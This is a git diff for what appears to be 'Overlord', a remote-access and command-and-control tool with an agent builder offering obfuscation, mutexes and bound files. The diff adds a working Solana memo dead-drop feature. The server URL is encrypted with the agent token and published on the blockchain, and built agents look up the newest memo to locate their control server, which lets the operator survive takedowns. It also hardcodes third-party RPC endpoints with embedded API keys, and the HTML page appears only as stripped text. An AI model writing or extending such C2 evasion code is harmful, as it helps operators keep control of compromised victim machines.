When enabled, the URL above must be a raw HTTPS link with one wss:// endpoint per line.
+
+
+
+
+
+
+
+
+
+
+ Client will query these endpoints to find the encrypted server URL from the Solana address's memo transactions.
+
+
diff --git a/Overlord-Server/public/sol-publish.html b/Overlord-Server/public/sol-publish.html
new file mode 100644
index 0000000..09cbc98
--- /dev/null
+++ b/Overlord-Server/public/sol-publish.html
@@ -0,0 +1,123 @@
+
+
+
+
+
+
Solana Memo Publisher - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Solana Memo Publisher
+
+
+ Publish an encrypted server URL as a Solana memo transaction.
+ Clients configured with Solana lookup will query this address to find the server.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Your private key is never stored — it's used in-memory only for signing and discarded immediately.
+
+
+
+
+
+
+
+
+
+
+
+
+ The server URL that clients will connect to. Multiple URLs can be separated by newlines.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
How it works
+
+ - The server URL is encrypted with AES-256-GCM using SHA-256 of your server's Agent Token as the key.
+ - The encrypted memo is published as a Solana memo transaction from your wallet.
+ - Clients built with Solana mode query your wallet address for the latest memo and decrypt it.
+ - Publishing costs approximately 0.000005 SOL (~$0.001).
+ - To update the server URL, just publish a new memo — clients always use the newest one.
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts
index 433daf3..dc3298f 100644
--- a/Overlord-Server/src/build/types.ts
+++ b/Overlord-Server/src/build/types.ts
@@ -38,4 +38,7 @@ export type BuildConfig = {
requireAdmin?: boolean;
outputExtension?: string;
sleepSeconds?: number;
+ solMemo?: boolean;
+ solAddress?: string;
+ solRpcEndpoints?: string;
};
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts
index 2b10265..85d3f55 100644
--- a/Overlord-Server/src/config.ts
+++ b/Overlord-Server/src/config.ts
@@ -249,12 +249,12 @@ export function loadConfig(): Config {
logger.info("No JWT secret provided, generated secure random secret");
}
- const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN;
- const agentTokenFromConfig = fileConfig.auth?.agentToken;
+ const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN?.trim();
+ const agentTokenFromConfig = fileConfig.auth?.agentToken?.trim();
let finalAgentToken =
agentTokenFromEnv ||
agentTokenFromConfig ||
- savedSecrets.auth?.agentToken ||
+ savedSecrets.auth?.agentToken?.trim() ||
DEFAULT_CONFIG.auth.agentToken;
if (!finalAgentToken) {
finalAgentToken = generateRandomSecret(64);
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index e3cf72e..a8901f4 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -19,6 +19,7 @@ import { handleAuthRoutes } from "./server/routes/auth-routes";
import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes";
import { handleEnrollmentRoutes, setPostApproveHook } from "./server/routes/enrollment-routes";
import { handleBuildRoutes } from "./server/routes/build-routes";
+import { handleSolRoutes } from "./server/routes/sol-routes";
import { handleAssetsRoutes } from "./server/routes/assets-routes";
import { handleDeployRoutes } from "./server/routes/deploy-routes";
import { handleWinRERoutes } from "./server/routes/winre-routes";
@@ -552,6 +553,7 @@ async function startServer() {
handleAutoScriptsRoutes,
handleAutoDeployRoutes,
handleEnrollmentRoutes,
+ handleSolRoutes,
handleUsersRoutes,
handleBuildRoutes,
handleDeployRoutes,
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 6529c09..2046822 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -700,6 +700,24 @@ func runBoundFiles() {
sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" });
}
+ if (config.solMemo) {
+ const solFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsSol=true";
+ ldflags = ldflags ? `${ldflags} ${solFlag}` : solFlag;
+ sendToStream({ type: "output", text: "Solana memo lookup: enabled\n", level: "info" });
+
+ if (config.solAddress) {
+ const solAddrFlag = `-X overlord-client/cmd/agent/config.DefaultSolAddress=${config.solAddress}`;
+ ldflags = `${ldflags} ${solAddrFlag}`;
+ sendToStream({ type: "output", text: `Solana address: ${config.solAddress}\n`, level: "info" });
+ }
+
+ if (config.solRpcEndpoints) {
+ const solRpcFlag = `-X overlord-client/cmd/agent/config.DefaultSolRPCEndpoints=${config.solRpcEndpoints}`;
+ ldflags = `${ldflags} ${solRpcFlag}`;
+ sendToStream({ type: "output", text: `Solana RPC endpoints: ${config.solRpcEndpoints}\n`, level: "info" });
+ }
+ }
+
if (buildMutex) {
const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`;
ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag;
diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts
index 6a61299..f89568b 100644
--- a/Overlord-Server/src/server/http-dispatch.ts
+++ b/Overlord-Server/src/server/http-dispatch.ts
@@ -40,6 +40,7 @@ type HttpDispatchDeps<
handleAutoScriptsRoutes: RouteHandler;
handleAutoDeployRoutes: RouteHandlerWithDeps
;
handleEnrollmentRoutes: RouteHandler;
+ handleSolRoutes: RouteHandler;
handleUsersRoutes: RouteHandlerWithServer;
handleBuildRoutes: RouteHandlerWithServerDeps;
handleDeployRoutes: RouteHandlerWithServerDeps;
@@ -122,6 +123,9 @@ export function createHttpFetchHandler<
const enrollmentResponse = await deps.handleEnrollmentRoutes(req, url);
if (enrollmentResponse) return enrollmentResponse;
+ const solResponse = await deps.handleSolRoutes(req, url);
+ if (solResponse) return solResponse;
+
const usersResponse = await deps.handleUsersRoutes(req, url, routeServer);
if (usersResponse) return usersResponse;
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index 255ef16..3fd9c6e 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -49,6 +49,9 @@ export async function handleBuildRoutes(
platforms,
serverUrl,
rawServerList,
+ solMemo,
+ solAddress,
+ solRpcEndpoints,
stripDebug,
disableCgo,
obfuscate,
@@ -101,10 +104,19 @@ export async function handleBuildRoutes(
}
const safeRawServerList = !!rawServerList;
+ const safeSolMemo = !!solMemo;
const safeServerUrl =
typeof serverUrl === "string" && serverUrl.trim() !== ""
? serverUrl.trim()
: undefined;
+
+ if (safeRawServerList && safeSolMemo) {
+ return Response.json(
+ { error: "Cannot enable both raw server list and Solana memo mode" },
+ { status: 400 },
+ );
+ }
+
if (safeRawServerList) {
if (!safeServerUrl) {
return Response.json(
@@ -125,6 +137,46 @@ export async function handleBuildRoutes(
}
}
+ let safeSolAddress: string | undefined;
+ let safeSolRpcEndpoints: string | undefined;
+ if (safeSolMemo) {
+ if (typeof solAddress !== "string" || !solAddress.trim()) {
+ return Response.json(
+ { error: "Solana memo mode requires a Solana address" },
+ { status: 400 },
+ );
+ }
+ const trimmedAddr = solAddress.trim();
+ if (!/^[1-9A-HJ-NP-Za-km-z]{32,44}$/.test(trimmedAddr)) {
+ return Response.json(
+ { error: "Invalid Solana address (must be Base58, 32-44 chars)" },
+ { status: 400 },
+ );
+ }
+ safeSolAddress = trimmedAddr;
+
+ if (typeof solRpcEndpoints === "string" && solRpcEndpoints.trim()) {
+ const endpoints = solRpcEndpoints.split("\n").map((e: string) => e.trim()).filter(Boolean);
+ for (const ep of endpoints) {
+ try {
+ const parsed = new URL(ep);
+ if (parsed.protocol !== "https:" && parsed.protocol !== "http:") {
+ return Response.json(
+ { error: `Invalid RPC endpoint protocol: ${ep}` },
+ { status: 400 },
+ );
+ }
+ } catch {
+ return Response.json(
+ { error: `Invalid RPC endpoint URL: ${ep}` },
+ { status: 400 },
+ );
+ }
+ }
+ safeSolRpcEndpoints = endpoints.join(",");
+ }
+ }
+
const buildId = uuidv4();
const ip = server.requestIP(req)?.address || "unknown";
@@ -233,6 +285,9 @@ export async function handleBuildRoutes(
platforms: allowedPlatforms,
serverUrl: safeServerUrl,
rawServerList: safeRawServerList,
+ solMemo: safeSolMemo,
+ solAddress: safeSolAddress,
+ solRpcEndpoints: safeSolRpcEndpoints,
mutex: safeMutex,
disableMutex: safeDisableMutex,
stripDebug,
diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts
index 7d2e2d4..6e896ca 100644
--- a/Overlord-Server/src/server/routes/page-routes.ts
+++ b/Overlord-Server/src/server/routes/page-routes.ts
@@ -71,6 +71,7 @@ const STATIC_PAGES: StaticPageDef[] = [
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
{ path: "/build", file: "build.html", access: "admin-or-operator" },
+ { path: "/sol-publish", file: "sol-publish.html", access: "admin" },
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
{ path: "/deploy", file: "deploy.html", access: "admin" },
diff --git a/Overlord-Server/src/server/routes/sol-routes.ts b/Overlord-Server/src/server/routes/sol-routes.ts
new file mode 100644
index 0000000..28f5b9e
--- /dev/null
+++ b/Overlord-Server/src/server/routes/sol-routes.ts
@@ -0,0 +1,221 @@
+import { createHash, randomBytes, createCipheriv } from "crypto";
+import { authenticateRequest } from "../../auth";
+import { getConfig } from "../../config";
+import { logger } from "../../logger";
+import {
+ Connection,
+ Keypair,
+ Transaction,
+ TransactionInstruction,
+ PublicKey,
+ LAMPORTS_PER_SOL,
+} from "@solana/web3.js";
+
+const MEMO_PROGRAM_ID = new PublicKey("MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr");
+
+const BASE58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
+function decodeBase58(str: string): Uint8Array {
+ const bytes: number[] = [0];
+ for (const char of str) {
+ const idx = BASE58_ALPHABET.indexOf(char);
+ if (idx < 0) throw new Error(`Invalid base58 character: ${char}`);
+ let carry = idx;
+ for (let j = 0; j < bytes.length; j++) {
+ carry += bytes[j] * 58;
+ bytes[j] = carry & 0xff;
+ carry >>= 8;
+ }
+ while (carry > 0) {
+ bytes.push(carry & 0xff);
+ carry >>= 8;
+ }
+ }
+ for (const char of str) {
+ if (char !== '1') break;
+ bytes.push(0);
+ }
+ return new Uint8Array(bytes.reverse());
+}
+
+const DEFAULT_RPC_ENDPOINTS = [
+ "https://api.mainnet-beta.solana.com",
+ "https://solana-mainnet.gateway.tatum.io",
+ "https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
+ "https://solana-rpc.publicnode.com",
+ "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
+ "https://solana.drpc.org",
+ "https://solana.leorpc.com/?api_key=FREE",
+ "https://solana.api.onfinality.io/public",
+ "https://solana.api.pocket.network/",
+ "https://api.devnet.solana.com",
+];
+
+function encryptServerUrl(serverUrl: string, agentToken: string): string {
+ const keyHash = createHash("sha256").update(agentToken).digest();
+ const nonce = randomBytes(12);
+ const cipher = createCipheriv("aes-256-gcm", keyHash, nonce);
+ const encrypted = Buffer.concat([cipher.update(serverUrl, "utf8"), cipher.final()]);
+ const tag = cipher.getAuthTag();
+ return Buffer.concat([nonce, encrypted, tag]).toString("base64");
+}
+
+export async function handleSolRoutes(
+ req: Request,
+ url: URL,
+): Promise {
+ if (!url.pathname.startsWith("/api/sol")) {
+ return null;
+ }
+
+ try {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/sol/preview") {
+ const body = await req.json();
+ const { serverUrl } = body;
+
+ if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
+ return Response.json({ error: "serverUrl is required" }, { status: 400 });
+ }
+
+ const config = getConfig();
+ const agentToken = config.auth.agentToken;
+ if (!agentToken) {
+ return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
+ }
+
+ const memo = encryptServerUrl(serverUrl.trim(), agentToken);
+ return Response.json({ memo, memoLength: memo.length });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/sol/publish") {
+ const body = await req.json();
+ const { privateKeyBase58, serverUrl, rpcUrl } = body;
+
+ if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
+ return Response.json({ error: "serverUrl is required" }, { status: 400 });
+ }
+ if (!privateKeyBase58 || typeof privateKeyBase58 !== "string" || !privateKeyBase58.trim()) {
+ return Response.json({ error: "privateKeyBase58 is required" }, { status: 400 });
+ }
+
+ const config = getConfig();
+ const agentToken = config.auth.agentToken;
+ if (!agentToken) {
+ return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
+ }
+
+ let keypair: Keypair;
+ try {
+ const decoded = decodeBase58(privateKeyBase58.trim());
+ keypair = Keypair.fromSecretKey(decoded);
+ } catch {
+ return Response.json({ error: "Invalid Solana private key (Base58)" }, { status: 400 });
+ }
+
+ const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
+ ? rpcUrl.trim()
+ : "https://api.mainnet-beta.solana.com";
+
+ try {
+ new URL(endpoint);
+ } catch {
+ return Response.json({ error: "Invalid RPC URL" }, { status: 400 });
+ }
+
+ const memo = encryptServerUrl(serverUrl.trim(), agentToken);
+
+ try {
+ const connection = new Connection(endpoint, "confirmed");
+
+ const memoInstruction = new TransactionInstruction({
+ keys: [{ pubkey: keypair.publicKey, isSigner: true, isWritable: true }],
+ programId: MEMO_PROGRAM_ID,
+ data: Buffer.from(memo, "utf8"),
+ });
+
+ const transaction = new Transaction().add(memoInstruction);
+ transaction.feePayer = keypair.publicKey;
+
+ const { blockhash } = await connection.getLatestBlockhash("confirmed");
+ transaction.recentBlockhash = blockhash;
+
+ transaction.sign(keypair);
+
+ const signature = await connection.sendRawTransaction(transaction.serialize(), {
+ skipPreflight: false,
+ preflightCommitment: "confirmed",
+ });
+
+ await connection.confirmTransaction(signature, "confirmed");
+
+ logger.info(`[sol] Published memo to Solana. Signature: ${signature}, Address: ${keypair.publicKey.toBase58()}`);
+
+ return Response.json({
+ success: true,
+ signature,
+ address: keypair.publicKey.toBase58(),
+ memo,
+ memoLength: memo.length,
+ explorerUrl: endpoint.includes("devnet")
+ ? `https://explorer.solana.com/tx/${signature}?cluster=devnet`
+ : `https://explorer.solana.com/tx/${signature}`,
+ });
+ } catch (err: any) {
+ logger.error(`[sol] Failed to publish memo: ${err?.message || err}`);
+ return Response.json({
+ error: `Transaction failed: ${err?.message || "Unknown error"}`,
+ }, { status: 500 });
+ }
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/sol/balance") {
+ const body = await req.json();
+ const { publicKeyBase58, rpcUrl } = body;
+
+ if (!publicKeyBase58 || typeof publicKeyBase58 !== "string") {
+ return Response.json({ error: "publicKeyBase58 is required" }, { status: 400 });
+ }
+
+ let pubkey: PublicKey;
+ try {
+ pubkey = new PublicKey(publicKeyBase58.trim());
+ } catch {
+ return Response.json({ error: "Invalid Solana public key" }, { status: 400 });
+ }
+
+ const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
+ ? rpcUrl.trim()
+ : "https://api.mainnet-beta.solana.com";
+
+ try {
+ const connection = new Connection(endpoint, "confirmed");
+ const balance = await connection.getBalance(pubkey);
+ return Response.json({
+ balance,
+ balanceSol: balance / LAMPORTS_PER_SOL,
+ });
+ } catch (err: any) {
+ return Response.json({
+ error: `Failed to fetch balance: ${err?.message || "Unknown error"}`,
+ }, { status: 500 });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/api/sol/rpc-endpoints") {
+ return Response.json({ endpoints: DEFAULT_RPC_ENDPOINTS });
+ }
+
+ return null;
+ } catch (err: any) {
+ logger.error(`[sol] Route error: ${err?.message || err}`);
+ return Response.json({ error: "Internal server error" }, { status: 500 });
+ }
+}